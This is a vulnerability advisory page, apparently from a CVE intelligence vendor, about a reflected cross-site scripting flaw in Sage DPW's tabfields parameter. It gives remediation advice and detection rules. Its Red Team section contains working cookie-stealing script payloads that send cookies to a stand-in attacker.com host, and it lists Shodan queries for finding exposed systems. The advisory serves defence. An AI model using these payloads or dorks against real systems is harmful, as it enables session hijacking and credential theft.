☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-51531

CVE-2025-51531 Cross-Site Scripting in Sage
📅 PUBLISHED: 2025-08-06 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 2024_12_004
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51531 is a reflected cross-site scripting (XSS) vulnerability in Sage DPW (Data Protection for Windows) versions 2024_12_004 and earlier. The flaw resides in the tabfields parameter of the /dpw/scripts/cgiip.exe/WService endpoint, allowing an attacker to inject arbitrary JavaScript into a victim's browser context. The vulnerability requires user interaction (clicking a crafted link) and does not affect the server-side data integrity, but can lead to session hijacking, credential theft, or further client-side attacks. The vendor has confirmed a fix in version 2025_06_000, released in June 2025.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). Sage DPW is a proprietary enterprise backup and recovery solution. The risk is primarily to organizations using on-premises Sage DPW installations. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): Required – Victim must click a crafted link.
  • Scope (S): Changed – The impact is on the client (browser), not the server.
  • Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify content in the victim's browser.
  • Availability (A): None – No impact on service availability.

Threat Level: Medium. Exploitation is straightforward but requires user interaction. The vulnerability is publicly known and a patch is available.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the Sage DPW web interface. The tabfields parameter is used to pass user-controlled data to the CGI script cgiip.exe/WService. The application fails to sanitize or encode this input before reflecting it in the HTTP response. An attacker can craft a URL such as:

https://target/dpw/scripts/cgiip.exe/WService?tabfields=<script>alert('XSS')</script>

When a victim visits this URL, the browser executes the injected script in the context of the Sage DPW application's origin. This allows the attacker to:

  • Steal session cookies (if HttpOnly flag is not set).
  • Perform actions on behalf of the victim (e.g., modify backup configurations).
  • Redirect the victim to malicious sites.
  • Capture keystrokes or other sensitive data.

The vulnerability is present in versions up to 2024_12_004. The fix in 2025_06_000 likely involves proper output encoding or input validation for the tabfields parameter.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The CGI script likely directly includes the tabfields value in the HTML response without sanitization.

# Vulnerable Python-like pseudocode
import cgi
form = cgi.FieldStorage()
tabfields = form.getvalue('tabfields', '')
print("Content-Type: text/html")
print()
print(f"<html><body><div>{tabfields}</div></body></html>")

Patched Code (Conceptual): The fix would involve HTML-encoding the output.

# Patched Python-like pseudocode
import cgi
import html
form = cgi.FieldStorage()
tabfields = form.getvalue('tabfields', '')
safe_tabfields = html.escape(tabfields)
print("Content-Type: text/html")
print()
print(f"<html><body><div>{safe_tabfields}</div></body></html>")

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable Sage DPW instance (version <= 2024_12_004).
  • A web browser (e.g., Firefox, Chrome).
  • A listener to capture exfiltrated data (e.g., a simple HTTP server or Burp Collaborator).

Exploitation Steps:

  1. Craft the malicious URL:

    https://target/dpw/scripts/cgiip.exe/WService?tabfields=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
    
  2. Deliver the URL to the victim (e.g., via phishing email, social media, or a link on a trusted site).

  3. Victim clicks the link – The script executes in their browser.

  4. Exfiltrate data – The attacker's server receives the victim's cookies or other data.

Example Payload (Steal Cookies):

<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Full URL (URL-encoded):

https://target/dpw/scripts/cgiip.exe/WService?tabfields=%3Cscript%3Evar%20img%20%3D%20new%20Image%28%29%3Bimg.src%20%3D%20%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%20%2B%20encodeURIComponent%28document.cookie%29%3B%3C%2Fscript%3E

Blue Team

Detection Steps:

  1. Monitor web server logs for unusual tabfields parameter values containing <script>, onerror, javascript:, or other XSS patterns.
  2. Inspect HTTP responses for reflected script tags in the tabfields parameter.
  3. Deploy a WAF rule to block requests with suspicious tabfields values.
  4. Educate users not to click on suspicious links, especially those containing tabfields in the URL.

WAF Rule (ModSecurity example):

SecRule ARGS:tabfields "@rx <script|onerror|javascript:" "id:1001,phase:2,deny,status:403,msg:'XSS attempt in tabfields parameter'"

Indicators of Compromise (IOCs)

  • URL Pattern: */dpw/scripts/cgiip.exe/WService?tabfields=*
  • HTTP Request Parameter: tabfields containing encoded or raw JavaScript.
  • HTTP Response Body: Reflected <script> tags or event handlers.
  • Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
  • Log Entries: Web server logs showing tabfields with suspicious content (e.g., %3Cscript%3E).

Detection Engineering

YARA Rule

rule CVE_2025_51531_XSS_Sage_DPW {
    meta:
        description = "Detects reflected XSS attempts against Sage DPW tabfields parameter"
        author = "Valters IT"
        date = "2025-07-18"
        cve = "CVE-2025-51531"
    strings:
        $xss_pattern1 = "tabfields="
        $xss_pattern2 = "<script"
        $xss_pattern3 = "onerror="
        $xss_pattern4 = "javascript:"
    condition:
        all of ($xss_pattern*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS in Sage DPW tabfields Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with suspicious tabfields parameter indicating XSS attempt
author: Valters IT
date: 2025/07/18
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains: "tabfields="
        cs-uri-query|contains|windash: 
            - "<script"
            - "onerror"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of tabfields with non-malicious content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-51531 - Reflected XSS in Sage DPW tabfields Parameter";
    flow:to_server,established;
    content:"tabfields="; http_uri;
    content:"<script"; http_uri; nocase;
    sid:1000001;
    rev:1;
    metadata:created_at 2025_07_18, updated_at 2025_07_18;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade to Sage DPW version 2025_06_000 or later.
  2. If upgrade is not possible, apply a virtual patch using a WAF to block malicious tabfields values.
  3. Restrict network access to the Sage DPW web interface to trusted IPs only.

Long-Term Recommendations:

  • Implement input validation and output encoding for all user-controlled parameters.
  • Conduct regular security assessments of web applications.
  • Enable HTTPOnly and Secure flags on session cookies.
  • Use Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT
Securing digital frontiers with precision and expertise.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Sage DPW"
http.html:"/dpw/scripts/cgiip.exe/WService"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51531/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.